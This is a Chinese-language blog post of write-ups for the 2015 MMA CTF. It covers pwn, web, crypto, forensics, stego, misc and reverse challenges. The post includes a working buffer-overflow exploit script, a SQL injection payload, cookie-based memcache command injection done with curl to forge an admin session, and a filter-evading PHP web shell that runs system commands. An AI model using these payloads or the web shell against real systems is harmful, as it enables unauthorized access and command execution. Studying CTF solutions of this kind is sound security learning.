比赛时间:2015-09-05 00:00 UTC — 2015-09-07 00:00 UTC
独立玩的一次比赛,其实也比较水,因为也很久没打了,自己的水平本来就不高这次更是只能干看着……
先放一些自己当时搞出来的题好了,后面接一些转载来的。

链接均出自github的write-ups-2015仓库

目录

pwn/RPS
forensics/Splitted
crypto/Smart Cipher System
stego/Stream
web/Login as admin!
web/Login as admin!(2)
web/Uploader
misc/MQAAAA
reverse/Can not be run

RPS

rps.7z

一个石头(R)剪子(S)布(P)的游戏,通过逆向发现赢50把以后就可以得到flag。程序中有一个输入name的过程使用的是gets,这就说明可以覆盖栈上的数据。本来我想的是使用下面打印flag代码的地址覆盖main的return addr,不过后来发现这些代码的地址中有0A这个字符,gets方法会在0A字符处截断。不知道这是一个巧合还是有意为之,无论如何我们已经不能直接通过覆写地址实现控制流的跳转了。

想了一会,我发现在输入名字之前唯一拥有确定值的参数就是srand设定的种子,于是想到一个办法,覆写这个种子为0,接着srand设置的种子就失去了随机性,也就是说电脑的策略就成为了固定值,接下来枚举一下每回合的情况就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from zio import *
import sys

target = './rps'

payload = 'A'*48 + '\x00'*4 + '\n'
strategy = ''
options = ('R', 'P', 'S')

for i in range(50):
for o in options:
io = zio(target, print_read=COLORED(REPR, 'red'), print_write=False)
io.write(payload+strategy)
io.read_until('Game %d/50'%(i+1))
io.read_until('[RPS]')
io.write(o)
io.read_until('\n')
result = io.read_until('\n')
if 'win' in result:
strategy += o
print '[+] Strategy is: %s (%d)' % (strategy, len(strategy))
break
del io

print '[!] Final try:'
io = zio(target, print_read=COLORED(REPR, 'red'), print_write=False)
io.write(payload+strategy)
io.interact()

在本机上尝试了一下,然后将payload直接提交到服务器,拿到了flag。

Back ↑

Splitted

splitted.7z

这个题是体力活,拼的就是谁的工具好。

在pcap文件中发现,flag文件被拆成了若干块,导出所有块之后按照HTTP中的Content-Range字段手动重组文件,就能拿到一个PSD,其中一个图层中就有flag。

之前ASIS CTF中也有一道类似的题Broken Heart,不过那个题的难度更大一些,因为Content-Range中有重叠,而且文件缺失了头部的13 bytes。这个题就比较容易了因为它的Content-Range是互相接起来的,所以直接按照顺序cat一下就好了。

PS:之前看Broken Heart的Writeup中有一个用到了美国军方的开源审查框架DShell,貌似可以自动重组文件,不过还没研究。

Back ↑

Smart Cipher System

给出一个加密算法的黑盒子和一段密文,破解出flag,一共分4个小问题。

前面2个小问题比较简单,就是直接映射的方式,尝试输入几次就能发现了,构建一个字典即可。因为flag总是以MMA{开头,所以前两个字符相同。

第3问就不是这么回事了,虽然我没有完全看懂它怎么算的,但是有几个事实比较清楚。一个是密文的长度(每个字符被加密成一个2位十六进制数形式)与原字符串长度相等;二是第一个字符的结果只与密文的长度有关;三是后一个字符的结果只与前一个字符有关。基于上面的事实,直接逐个进行爆破就行了,没有破解出的密文padding一下,保证长度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def level3():
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}'
reg = re.compile(r'</h1>([a-z0-9\s]+)\s<form.*?>')
def get_encrypt(char):
# print 'Decrypt %s ...' % char
data = urlencode({'s': char})
req = Request(url='http://bow.chal.mmactf.link/~scs/crypt5.cgi',data=data)
text = urlopen(req).read()
l = reg.findall(text)
return l[0]
flags = '60 00 0c 3a 1e 52 02 53 02 51 0c 5d 56 51 5a 5f 5f 5a 51 00 05 53 56 0a 5e 00 52 05 03 51 50 55 03 04 52 04 0f 0f 54 52 57 03 52 04 4e'.split(' ')
length = len(flags)
string = 'MMA{'
while len(string) < length:
for char in charset:
query = string + char + 'A' * (length - len(string) - 1)
result = get_encrypt(query)
if result.split(' ')[len(string)] == flags[len(string)]:
string += char
break
print '[+] String now : %s (%d / %d)' % (string, len(string), length)

第4问当时没研究出什么……

Back ↑

Stream

stream

这个题在Linux下做有点坑爹……

首先下载下来的stream文件,用file识别不出来是什么,用wxHexEditor打开,发现其实就是一个dumpcap的文件,用Wireshark打开导出一下里面的文件,又得到一个stream文件。

这次用file还是识别不出来是什么,但网络中给出的类型是application/x-mms-framed,基本可以确定是一个视频文件。但拿Linux下的VLC Player播放不了……

不得已我切换到windows下打开试试,结果用Potplayer打开以后听到杂音,没有图像。最后拖进winHex中仔细研究,基本可以确定是一个wmv文件,我又找了几个wmv文件对比,发现这个文件的文件头与它们不一样,原来是前面多了若干bytes,删掉前面多出来的字节,再用Potplayer再打开,看到了画面:

然而切回Linux,还是用啥都打不开……

Back ↑

接下来是一些转载的Writeups

Login as admin!

普通的SQL注入问题,需要做到从库中拖出admin用户的密码。这里需要一定的盲注功底,不断地去尝试查询的列数以及表名。

最后可以使用的payload是username=admin&password=' union select password,password from user where user='admin'--

Back ↑

Login as admin!(2)

这个题考察的是cookie注入,提交的页面上有个叫做ss的cookie记录了用户的标识。

当ss为空的时候可以触发以下错误:

1
2
3
4
$ curl "http://login2.chal.mmactf.link/" --cookie "ss="
[...]
MemcacheError:ERROR
[...]

说明这个网站使用了Memcache的缓存技术,这里要稍微对memcache的系统和命令有一些了解。memcache的命令是一行行执行,所以在ss中换一行就可以执行其他的命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
$ curl "http://login2.chal.mmactf.link/" --cookie "ss=%0d%0astats"
MemcacheError:ERROR
STAT pid 2524
STAT uptime 262912
STAT time 1441757879
STAT version 1.4.14 (Ubuntu)
STAT libevent 2.0.21-stable
STAT pointer_size 64
STAT rusage_user 16.020000
STAT rusage_system 36.012000
STAT curr_connections 5
[...]
END

使用get命令能够得到对应键的值,当以test登录以后再get一下自己的cookie,发现存储的格式

1
2
3
4
$ curl "http://login2.chal.mmactf.link/" --cookie "ss=%0d%0aget 770e33cbe1d236a5233adacd95995e2f8ca71a21b65eb756d7f894647b6168c2"
[...]
{"username"":"test"}
[...]

所以我们用set命令写入一个admin的cookie进去,然后以这个cookie登录就能拿到flag了

1
2
3
4
5
6
$ curl "http://login2.chal.mmactf.link/" --cookie "ss=%0d%0aset adminkey 0 3600 20%0d%0a{\"username\":\"admin\"}"
STORED

$ curl "http://login2.chal.mmactf.link/" --cookie "ss=adminkey"
You are "admin" user.
Flag is "MMA{61016d84e70e0b5ed5c03e4e398c3571}

给一个memcache的资料,供参考:memcached用法:参数和命令详解

Back ↑

Uploader

一个简单的文件上传漏洞,屏蔽了<?php这种字符串。然而可以使用script内代码来嵌入PHP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<form action="" method="get"><textarea name="c" rows="10" cols="80">
<script language="PHP">
if (isset($_GET['c'])) {echo $_GET['c'];}
</script>
</textarea><button type="submit">go</button></form><hr /><div><p>Result of <strong>
<script language="PHP">
if(isset($_GET['c'])){echo $_GET['c'];}
</script>
</strong></p><pre>

<script language="PHP">
$output="";if (isset($_GET['c'])){$output=@system($_GET['c']);};
</script>
</pre>
</div>

上传之后可以通过/u/xxx.php来访问(这是怎么发现的……),直接在其中输入命令执行即可。

Back ↑

MQAAAA

题面是一段字符串:I0B+Xk1RQUFBQT09CVVtLmJ3RFIrMXRLY0p0SCkJRHRubTZWbFRtaEtETnxyZHtLNDZFZG1DT2JXVThyYmpSSUFBQT09XiN+QA==

如果一个题目的类别是misc,需要的就是比较广博的知识了,因为通常其包含了众多奇怪的内容或者技术。

一开始谁都能想到这是个base64编码,解码之后得到

1
#@~^MQAAAA==    Um.bwDR+1tKcJtH)    Dtnm6VlTmhKDN|rd{K46EdmCObWU8rbjRIAAA==^#~@

这个就不是base64的编码了,而是JScript.Encode的产物,不了解JScript的人又如何能知道这种编码方式呢,况且还是微软的东西。

这里有个网站能够在线解密Jscript.Encode

输入上面的字符串得到WScript.echo("MMA{the_flag_word_is_obfuscation}")

Back ↑

Cannotberun

cannotberun.exe

一个关于Windows PE格式的题,手上没有称手的exe反汇编器,做起windows的题来总是缚手缚脚,只能通过hex editor来找线索。

这个题需要对PE文件有些理解,题面也是一个暗示,打开exe后,原来在0x3c的位置应该记录了PE的offset,这里字节是0x00所以这个程序只会运行DOS Stub的部分。

解决的方法就是Patch 0x3c这个地址为0xE8也就是真正的PE文件头的offset,然后运行就能得到flag了。

但是还有种解法就是通过看汇编出来的代码发现flag是藏在0x411左右的位置,按间隔提取出字符然后套上MMA{}就可以了。

Back ↑